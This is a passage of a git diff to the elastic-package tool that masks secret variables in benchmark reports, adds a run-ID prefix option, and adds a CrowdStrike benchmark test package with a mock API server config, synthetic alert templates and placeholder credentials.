secretVarNames) + report.Parameters.DataStream = dataStream{ + Name: s.DataStream.Name, + Vars: maskSecretVars(s.DataStream.Vars, secretVarNames), + } report.Parameters.WarmupTimePeriod = s.WarmupTimePeriod report.Parameters.BenchmarkTimePeriod = s.BenchmarkTimePeriod report.Parameters.WaitForDataTimeout = *s.WaitForDataTimeout @@ -218,6 +222,52 @@ func reportHumanFormat(r *report) []byte { return []byte(report.String()) } +func collectSecretVarNames(pkgManifest *packages.PackageManifest, dsManifest *packages.DataStreamManifest) map[string]bool { + secrets := make(map[string]bool) + for _, v := range pkgManifest.Vars { + if v.Secret { + secrets[v.Name] = true + } + } + for _, pt := range pkgManifest.PolicyTemplates { + for _, input := range pt.Inputs { + for _, v := range input.Vars { + if v.Secret { + secrets[v.Name] = true + } + } + } + for _, v := range pt.Vars { + if v.Secret { + secrets[v.Name] = true + } + } + } + for _, stream := range dsManifest.Streams { + for _, v := range stream.Vars { + if v.Secret { + secrets[v.Name] = true + } + } + } + return secrets +} + +func maskSecretVars(vars map[string]interface{}, secretNames map[string]bool) map[string]interface{} { + if len(vars) == 0 || len(secretNames) == 0 { + return vars + } + masked := make(map[string]interface{}, len(vars)) + for k, v := range vars { + if secretNames[k] { + masked[k] = "xxxx" + } else { + masked[k] = v + } + } + return masked +} + func renderBenchmarkTable(title string, kv ...interface{}) string { t := table.NewWriter() t.SetStyle(table.StyleRounded) diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go index 5f61f4757b..8db35c7ad1 100644 --- a/internal/benchrunner/runners/system/runner.go +++ b/internal/benchrunner/runners/system/runner.go @@ -26,7 +26,9 @@ import ( "github.com/elastic/elastic-package/internal/benchrunner" "github.com/elastic/elastic-package/internal/benchrunner/reporters" "github.com/elastic/elastic-package/internal/benchrunner/runners/common" + pkgcommon "github.com/elastic/elastic-package/internal/common" "github.com/elastic/elastic-package/internal/configuration/locations" + "github.com/elastic/elastic-package/internal/environment" "github.com/elastic/elastic-package/internal/kibana" "github.com/elastic/elastic-package/internal/logger" "github.com/elastic/elastic-package/internal/multierror" @@ -46,6 +48,8 @@ const ( defaultNamespace = "ep" ) +var prefixServiceBenchRunIDEnv = environment.WithElasticPackagePrefix("PREFIX_SERVICE_TEST_RUN_ID") + type runner struct { options Options scenario *scenario @@ -58,7 +62,8 @@ type runner struct { mcollector *collector corporaFile string - service servicedeployer.DeployedService + service servicedeployer.DeployedService + secretVarNames map[string]bool // Execution order of following handlers is defined in runner.TearDown() method. deletePolicyHandler func(context.Context) error @@ -146,7 +151,11 @@ func (r *runner) setUp(ctx context.Context) error { serviceLogsDir := locationManager.ServiceLogDir() r.svcInfo.Logs.Folder.Local = serviceLogsDir r.svcInfo.Logs.Folder.Agent = ServiceLogsAgentDir - r.svcInfo.Test.RunID = common.NewRunID() + prefix := "" + if v, found := os.LookupEnv(prefixServiceBenchRunIDEnv); found && v != "" { + prefix = v + } + r.svcInfo.Test.RunID = pkgcommon.CreateTestRunIDWithPrefix(prefix) outputDir, err := servicedeployer.CreateOutputDir(locationManager, r.svcInfo.Test.RunID) if err != nil { @@ -221,6 +230,8 @@ func (r *runner) setUp(ctx context.Context) error { return fmt.Errorf("reading data stream manifest failed: %w", err) } + r.secretVarNames = collectSecretVarNames(pkgManifest, dataStreamManifest) + r.runtimeDataStream = fmt.Sprintf( "%s-%s.%s-%s", dataStreamManifest.Type, @@ -319,7 +330,7 @@ func (r *runner) run(ctx context.Context) (report reporters.Reportable, err erro return nil, fmt.Errorf("can't reindex data: %w", err) } - return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum) + return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum, r.secretVarNames) } func (r *runner) setupService(ctx context.Context, serviceName string, deployerName string) (servicedeployer.DeployedService, error) { @@ -330,7 +341,7 @@ func (r *runner) setupService(ctx context.Context, serviceName string, deployerN // Setup service. logger.Debug("Setting up service...") - devDeployDir := filepath.Clean(filepath.Join(r.options.BenchPath, "deploy")) + devDeployDir := filepath.Clean(filepath.Join(r.options.PackageRoot, r.options.BenchPath, "deploy")) opts := servicedeployer.FactoryOptions{ PackageRoot: r.options.PackageRoot, DevDeployDir: devDeployDir, diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml new file mode 100644 index 0000000000..82cc41c36f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml @@ -0,0 +1,27 @@ +--- +description: Benchmark 100000 alert events ingested +input: cel +deployer: docker +vars: + url: http://{{Hostname}}:{{Port}} + client_id: xxxx + client_secret: yyyy + token_url: http://{{Hostname}}:{{Port}}/oauth2/token +data_stream: + name: alert + vars: + enable_request_tracer: true + preserve_original_event: true +warmup_time_period: 2s +corpora: + input_service: + name: crowdstrike + generator: + total_events: 1000 + template: + path: ./alert-benchmark/template.ndjson + type: gotext + config: + path: ./alert-benchmark/config.yml + fields: + path: ./alert-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml new file mode 100644 index 0000000000..f718388107 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml @@ -0,0 +1,105 @@ +fields: + - name: timestamp + period: -24h + - name: agent_id + cardinality: 1000 + - name: alleged_filetype + cardinality: 1000 + - name: cid + cardinality: 10 + - name: comments.falcon_user_id + cardinality: 10000 + - name: confidence + range: + min: 0 + max: 100 + cardinality: 1000 + - name: device.platform_name + enum: + - Windows + - Linux + - Mac + - name: device.agent_load_flags + enum: + - '0' + - '1' + - '2' + - '3' + - name: device.platform_id + enum: + - '0' + - '1' + - '3' + - name: device.device_id + cardinality: 10000 + - name: device.external_ipv6 + value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 + - name: device.local_ipv6 + value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 + - name: device.mac_address + value: 00:xx:xx:xx:4D:5E + - name: filename + cardinality: 10000 + - name: hostname + cardinality: 10000 + - name: id + cardinality: 100000 + - name: process_end_time + value: 1737735358 + - name: process_start_time + value: 1737735358 + - name: product + enum: + - cwpp + - data-protection + - epp + - idp + - mobile + - ngsiem + - overwatch + - thirdparty + - xdr + - name: severity_name + enum: + - Low + - Medium + - High + - name: status + enum: + - new + - in_progress + - closed + - reopened + - name: type + enum: + - ldt + - ods + - xdr + - ofp + - ssd + - windows_legacy + - name: tree_root + cardinality: 100000 + - name: tree_id + cardinality: 100000 + - name: username + cardinality: 10000 + - name: user_id + cardinality: 10000 + - name: network_accesses.connection_direction + enum: + - outbound + - inbound + - neither + - name: network_accesses.local_port + range: + min: 10000 + max: 95000 + - name: network_accesses.protocol + enum: + - TCP + - UDP + - name: network_accesses.remote_port + range: + min: 10000 + max: 95000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml new file mode 100644 index 0000000000..a1fa39ee44 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml @@ -0,0 +1,208 @@ +- name: agent_id + type: keyword +- name: aggregate_id + type: keyword +- name: alleged_filetype + type: keyword +- name: cid + type: keyword +- name: cmdline + type: keyword +- name: comment + type: text +- name: comments + type: group + fields: + - name: falcon_user_id + type: keyword + - name: timestamp + type: date + - name: value + type: text +- name: composite_id + type: keyword +- name: confidence + type: integer +- name: control_graph_id + type: keyword +- name: created_timestamp + type: date +- name: description + type: text +- name: device + type: group + fields: + - name: agent_load_flags + type: keyword + - name: agent_local_time + type: date + - name: agent_version + type: keyword + - name: bios_manufacturer + type: keyword + - name: bios_version + type: integer + - name: cid + type: keyword + - name: device_id + type: keyword + - name: external_ip + type: ip + - name: external_ipv6 + type: ip + - name: first_seen + type: date + - name: groups + type: keyword + - name: hostinfo + type: group + fields: + - name: active_directory_dn_display + type: keyword + - name: domain + type: keyword + - name: hostname + type: keyword + - name: host_hidden_status + type: keyword + - name: last_seen + type: keyword + - name: instance_id + type: keyword + - name: local_ip + type: ip + - name: local_ipv6 + type: ip + - name: mac_address + type: keyword + - name: machine_domain + type: keyword + - name: major_version + type: integer + - name: minor_version + type: integer + - name: modified_timestamp + type: date + - name: os_version + type: keyword + - name: ou + type: keyword + - name: platform_id + type: keyword + - name: platform_name + type: keyword + - name: pod_id + type: keyword + - name: pod_labels + type: keyword + - name: pod_name + type: keyword + - name: pod_namespace + type: keyword + - name: pod_service_account_name + type: keyword + - name: product_type + type: keyword + - name: product_type_desc + type: keyword + - name: service_provider + type: keyword + - name: service_provider_account_id + type: keyword + - name: site_name + type: keyword + - name: system_manufacturer + type: keyword + - name: system_product_name + type: keyword + - name: tags + type: keyword +- name: display_name + type: keyword +- name: falcon_host_link + type: keyword +- name: filename + type: keyword +- name: filepath + type: keyword +- name: hostname + type: keyword +- name: id + type: keyword +- name: ioc_source + type: keyword +- name: ioc_type + type: keyword +- name: ioc_value + type: keyword +- name: md5 + type: keyword +- name: network_accesses + type: group + fields: + - name: access_type + type: integer + - name: connection_direction + type: keyword + - name: isIPV6 + type: boolean + - name: local_address + type: ip + - name: local_port + type: integer + - name: protocol + type: keyword + - name: remote_address + type: ip + - name: remote_port + type: integer +- name: objective + type: keyword +- name: parent_process_id + type: integer +- name: pattern_id + type: integer +- name: process_end_time + type: date +- name: process_id + type: integer +- name: process_start_time + type: date +- name: product + type: keyword +- name: scenario + type: keyword +- name: severity + type: integer +- name: severity_name + type: keyword +- name: sha256 + type: keyword +- name: show_in_ui + type: boolean +- name: status + type: keyword +- name: tactic + type: keyword +- name: tactic_id + type: keyword +- name: technique + type: keyword +- name: technique_id + type: keyword +- name: timestamp + type: date +- name: tree_id + type: keyword +- name: tree_root + type: integer +- name: triggering_process_graph_id + type: keyword +- name: type + type: keyword +- name: updated_timestamp + type: date +- name: username + type: keyword +- name: user_id + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson new file mode 100644 index 0000000000..2841b0f2a6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson @@ -0,0 +1,97 @@ +{{- $agent_id := generate "agent_id" }} +{{- $aggregate_id := generate "aggregate_id" }} +{{- $alleged_filetype := generate "alleged_filetype" }} +{{- $access_type := generate "network_accesses.access_type" }} +{{- $connection_direction := generate "network_accesses.connection_direction" }} +{{- $isIPV6 := generate "network_accesses.isIPV6" }} +{{- $local_address := generate "network_accesses.local_address" }} +{{- $local_port := generate "network_accesses.local_port" }} +{{- $protocol := generate "network_accesses.protocol" }} +{{- $remote_address := generate "network_accesses.remote_address" }} +{{- $remote_port := generate "network_accesses.remote_port" }} +{{- $cid := generate "cid" }} +{{- $cmdline := generate "cmdline" }} +{{- $comment := generate "comment" }} +{{- $falcon_user_id := generate "comments.falcon_user_id" }} +{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $value := generate "comments.value" }} +{{- $composite_id := generate "composite_id" }} +{{- $confidence := generate "confidence" }} +{{- $control_graph_id := generate "control_graph_id" }} +{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $description := generate "description" }} +{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }} +{{- $agent_load_flags := generate "device.agent_load_flags" }} +{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }} +{{- $agent_version := generate "device.agent_version" }} +{{- $bios_manufacturer := generate "device.bios_manufacturer" }} +{{- $bios_version := generate "device.bios_version" }} +{{- $device_id := generate "device.device_id" }} +{{- $external_ip := generate "device.external_ip" }} +{{- $external_ipv6 := generate "device.external_ipv6" }} +{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }} +{{- $groups := generate "device.groups" }} +{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }} +{{- $domain := generate "device.hostinfo.domain" }} +{{- $host_hidden_status := generate "device.host_hidden_status" }} +{{- $instance_id := generate "device.instance_id" }} +{{- $local_ip := generate "device.local_ip" }} +{{- $local_ipv6 := generate "device.local_ipv6" }} +{{- $mac_address := generate "device.mac_address" }} +{{- $machine_domain := generate "device.machine_domain" }} +{{- $major_version := generate "device.major_version" }} +{{- $minor_version := generate "device.minor_version" }} +{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }} +{{- $os_version := generate "device.os_version" }} +{{- $ou := generate "device.ou" }} +{{- $platform_id := generate "device.platform_id" }} +{{- $platform_name := generate "device.platform_name" }} +{{- $pod_id := generate "device.pod_id" }} +{{- $pod_labels := generate "device.pod_labels" }} +{{- $pod_name := generate "device.pod_name" }} +{{- $pod_namespace := generate "device.pod_namespace" }} +{{- $pod_service_account_name := generate "device.pod_service_account_name" }} +{{- $product_type := generate "device.product_type" }} +{{- $product_type_desc := generate "device.product_type_desc" }} +{{- $service_provider := generate "device.service_provider" }} +{{- $service_provider_account_id := generate "device.service_provider_account_id" }} +{{- $site_name := generate "device.site_name" }} +{{- $system_manufacturer := generate "device.system_manufacturer" }} +{{- $system_product_name := generate "device.system_product_name" }} +{{- $tags := generate "device.tags" }} +{{- $display_name := generate "display_name" }} +{{- $falcon_host_link := generate "falcon_host_link" }} +{{- $filename := generate "filename" }} +{{- $filepath := generate "filepath" }} +{{- $hostname := generate "hostname" }} +{{- $id := generate "id" }} +{{- $ioc_source := generate "ioc_source" }} +{{- $ioc_type := generate "ioc_type" }} +{{- $ioc_value := generate "ioc_value" }} +{{- $md5 := generate "md5" }} +{{- $objective := generate "objective" }} +{{- $parent_process_id := generate "parent_process_id" }} +{{- $pattern_id := generate "pattern_id" }} +{{- $process_end_time := generate "process_end_time" }} +{{- $process_id := generate "process_id" }} +{{- $process_start_time := generate "process_start_time" }} +{{- $product := generate "product" }} +{{- $scenario := generate "scenario" }} +{{- $severity := generate "severity" }} +{{- $severity_name := generate "severity_name" }} +{{- $sha256 := generate "sha256" }} +{{- $show_in_ui := generate "show_in_ui" }} +{{- $status := generate "status" }} +{{- $tactic := generate "tactic" }} +{{- $tactic_id := generate "tactic_id" }} +{{- $technique := generate "technique" }} +{{- $technique_id := generate "technique_id" }} +{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }} +{{- $tree_id := generate "tree_id" }} +{{- $tree_root := generate "tree_root" }} +{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }} +{{- $type := generate "type" }} +{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} +{{- $username := generate "username" }} +{{- $user_id := generate "user_id" }} +{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"}, diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..cfa001fee1 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml @@ -0,0 +1,16 @@ +version: "2.3" +services: + crowdstrike: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: crowdstrike + ports: + - 8080 + volumes: + - ./files:/files:ro + - ${SERVICE_LOGS_DIR}:/var/log + environment: + PORT: "8080" + command: + - http-server + - --addr=:8080 + - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml new file mode 100644 index 0000000000..8ac8e5871e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml @@ -0,0 +1,128 @@ +rules: + - path: /oauth2/token + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: | + {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} + - path: /alerts/combined/alerts/v1 + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} + ] + } + - path: /devices/combined/devices/v1 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"} + ] + } + - path: /spotlight/combined/vulnerabilities/v1 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "meta": { + "pagination": { + "total": 100000, + "limit": 100 + } + }, + "errors": [], + "resources": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} + ] + } + - path: /sensors/entities/datafeed/v2 + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "resources": [ + { + "dataFeedURL": "http://svc-crowdstrike:8080/events", + "sessionToken": { + "token": "secretsessiontoken" + }, + "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh", + "refreshActiveSessionInterval": 1800 + } + ] + } + - path: /events + methods: ['GET'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + - path: /refresh + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: '' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml new file mode 100644 index 0000000000..6e1f17f7a9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml @@ -0,0 +1,10 @@ +version: '2.3' +services: + terraform: + environment: + - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} + - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} + - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} + - AWS_PROFILE=${AWS_PROFILE} + - AWS_REGION=${AWS_REGION:-us-east-1} + - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log new file mode 100644 index 0000000000..5cf7cfb6de --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log @@ -0,0 +1,5 @@ +{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} diff --git 